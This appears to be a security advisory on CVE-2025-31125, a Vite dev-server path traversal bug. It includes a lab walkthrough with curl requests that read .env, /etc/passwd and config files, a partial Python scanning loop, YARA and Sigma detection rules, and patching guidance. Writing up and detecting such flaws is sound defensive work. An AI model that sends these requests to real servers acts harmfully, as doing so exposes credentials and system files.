CVE-2025-31125: Vite Development Server Path Traversal Vulnerability Exposes Sensitive Files

Executive Summary

CVE-2025-31125 represents a significant information disclosure vulnerability affecting Vite, a popular frontend tooling framework used extensively in modern JavaScript development. This medium-severity vulnerability (CVSS 5.3) allows unauthenticated attackers to bypass file access restrictions and retrieve sensitive content from development servers through malicious query parameter manipulation.

The vulnerability specifically impacts organizations that expose Vite development servers to network access using the --host or server.host configuration options. While primarily affecting development and staging environments, the potential for credential theft, source code exposure, and configuration data leakage makes this a critical concern for organizations with exposed development infrastructure.

Key Risk Factors:

• Zero authentication required - Completely unauthenticated attack vector
• High confidentiality impact - Can expose environment variables, database credentials, API keys, and system files
• Network-accessible - Affects any Vite dev server exposed beyond localhost
• Wide deployment - Vite is extensively used across the JavaScript ecosystem

Affected versions include Vite < 6.2.4, < 6.1.3, < 6.0.13, < 5.4.16, and < 4.5.11. Organizations should prioritize immediate patching, particularly for any development servers accessible from untrusted networks.

Technical Deep Dive

Vulnerability Mechanism

CVE-2025-31125 exploits a path traversal flaw in Vite's development server file handling logic. The vulnerability stems from insufficient input validation when processing special query parameters that control file import behavior. Attackers can leverage two primary query parameter combinations to bypass intended access controls:

1. ?inline&import - Forces inline import processing of files
2. ?raw?import - Attempts raw file access (potentially overlapping with CVE-2025-30208)

The vulnerability occurs in Vite's module resolution system, which processes these query parameters before applying proper path sanitization. This allows attackers to craft requests that escape the intended web root directory and access arbitrary files on the server filesystem.

Attack Vector Analysis

The attack follows a predictable pattern:

Phase 1: Discovery
Attackers identify Vite development servers by scanning for the characteristic /@vite/client endpoint, which is present in all Vite development deployments.

Phase 2: Exploitation
Once a Vite server is identified, attackers craft malicious URLs combining path traversal sequences with the vulnerable query parameters:

GET /../../../../etc/passwd?raw?import HTTP/1.1
GET /.env?inline&import HTTP/1.1
GET /config/database.yml?inline&import HTTP/1.1

Phase 3: Content Extraction
Successful exploitation returns file content directly in HTTP responses, bypassing normal access controls and content-type restrictions.

Root Cause

The vulnerability originates from Vite's module transformation pipeline, where query parameters are processed to determine how files should be handled. The inline and raw import modes were designed to facilitate development workflows but lacked proper path validation, allowing directory traversal attacks to succeed.

Exploitation Walkthrough

Lab Setup

For our controlled lab environment, we'll demonstrate the vulnerability using a deliberately vulnerable Vite application:

# Set up vulnerable Vite server
npm create vite@4.5.0 vulnerable-app
cd vulnerable-app
npm install
# Important: Expose server to network
npm run dev -- --host 0.0.0.0

Step-by-Step Exploitation

Step 1: Target Discovery

First, identify if the target is running a Vite development server:

curl -s http://target.com:5173/@vite/client

A successful response indicates a Vite server is running.

Step 2: Environment File Extraction

Attempt to access common sensitive files starting with environment configurations:

curl "http://target.com:5173/.env?inline&import"

Expected Response:

DATABASE_URL=postgresql://admin:secret123@localhost:5432/app
JWT_SECRET=super_secret_key_here
API_KEY=sk-1234567890abcdef

Step 3: System File Access

Test for system-level file access using path traversal:

curl "http://target.com:5173/../../../../etc/passwd?raw?import"

Expected Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Step 4: Configuration File Enumeration

Target common configuration files that may contain sensitive data:

# Application configuration
curl "http://target.com:5173/config/database.yml?inline&import"

# Package information
curl "http://target.com:5173/package.json?raw?import"

# Docker configurations
curl "http://target.com:5173/docker-compose.yml?inline&import"

Automation Script

The provided exploit automation follows this pattern:

# Key exploitation logic
def exploit_target(target_url):
    # Test for Vite server
    vite_check = requests.get(f"{target_url}/@vite/client")
    
    if vite_check.status_code == 200:
        # Attempt file access with both query patterns
        for file_path in sensitive_files:
            for query in ["?inline&import", "?raw?import"]:
                test_url = f"{target_url}{file_path}{query}"
                response = requests.get(test_url)
                
                if is_vulnerable_response(response):
                    log_vulnerability(test_url, response.text[:200])

Detection & Monitoring

YARA Rule

Deploy this YARA rule to detect exploitation attempts in network traffic:

rule CVE_2025_31125_Vite_Path_Traversal {
    meta:
        description = "Detects CVE-2025-31125 Vite path traversal exploitation attempts"
        author = "Threat Detection Engineer"
        date = "2025-01-23"
        cve = "CVE-2025-31125"
        severity = "medium"
    
    strings:
        $vite_client = "/@vite/client"
        $inline_import = "?inline&import"
        $raw_import = "?raw?import"
        $path_traversal1 = "../../../"
        $path_traversal2 = "..%2F..%2F..%2F"
        $sensitive_file1 = "/etc/passwd"
        $sensitive_file2 = ".env"
        $http_method = /GET|POST/
    
    condition:
        $http_method and (
            ($vite_client and ($inline_import or $raw_import)) or
            (($inline_import or $raw_import) and ($path_traversal1 or $path_traversal2)) or
            (($inline_import or $raw_import) and ($sensitive_file1 or $sensitive_file2))
        )
}

Sigma Rule

For SIEM integration, use this Sigma rule to detect HTTP-based attacks:

title: CVE-2025-31125 Vite Path Traversal Attack
id: cve-2025-31125-detection
description: Detects attempts to exploit CVE-2025-31125 path traversal in Vite servers
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-31125
logsource:
    category: webserver
    product: apache|nginx|iis
detection:
    selection_vite:
        cs-uri-stem|contains: '/@vite/client'
    selection_exploit:
        cs-uri-query|contains:
            - 'inline&import'
            - 'raw?import'
    selection_traversal:
        cs-uri-stem|contains:
            - '../'
            - '%2e%2e%2f'
            - '..%5c'
    selection_sensitive:
        cs-uri-stem|endswith:
            - '.env'
            - '/etc/passwd'
            - 'config.json'
            - 'database.yml'
    condition: selection_exploit and (selection_vite or selection_traversal or selection_sensitive)
level: medium
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.31125

Log Monitoring

Monitor web server logs for these suspicious patterns:

# Apache/Nginx log analysis
grep -E "\?(inline&import|raw\?import)" /var/log/nginx/access.log
grep -E "(\.\.%2F|\.\.\/.*\?(inline&import|raw\?import))" /var/log/apache2/access.log

Remediation Guidance

Immediate Actions

1. Version Upgrade (Primary Solution)
Update to patched Vite versions immediately:

# Update to latest patched version
npm update vite@latest

# Or specify minimum safe version
npm install vite@6.2.4  # For v6.x
npm install vite@6.1.3  # For v6.1.x
npm install vite@6.0.13 # For v6.0.x
npm install vite@5.4.16 # For v5.x
npm install vite@4.5.11 # For v4.x

2. Network Isolation (Temporary Mitigation)
If immediate patching isn't possible, restrict network access:

# Remove host binding to limit to localhost only
npm run dev  # Remove --host flag

# Or bind to specific interfaces
npm run dev -- --host 127.0.0.1

3. Reverse Proxy Filtering
Implement request filtering at the proxy level:

# Nginx configuration
location ~* \?(inline&import|raw\?import) {
    return 403;
}

location ~* /\.\w+ {
    return 403;
}

Long-term Security Measures

1. Development Environment Security

• Never expose development servers to untrusted networks
• Use VPN access for remote development needs
• Implement network segmentation for development environments

2. Configuration Management

• Store sensitive configuration in secure vaults (HashiCorp Vault, AWS Secrets Manager)
• Avoid committing .env files to version control
• Use environment-specific configuration strategies

3. Monitoring Implementation

• Deploy the provided detection rules in production
• Monitor for unusual file access patterns
• Implement alerting for development server exposure

References

• NVD Entry: CVE-2025-31125
• Vite Security Advisory: Check official Vite repository for security announcements
• MITRE CWE-200: Information Exposure
• OWASP Path Traversal: Testing Guide

Patch Timeline:

• Discovery: March 2025
• Vendor Notification: March 2025
• Patches Released: March 31, 2025
• CVE Published: March 31, 2025

Organizations should treat this vulnerability with appropriate urgency, particularly given the ease of exploitation and potential for significant information disclosure in development environments exposed to network access.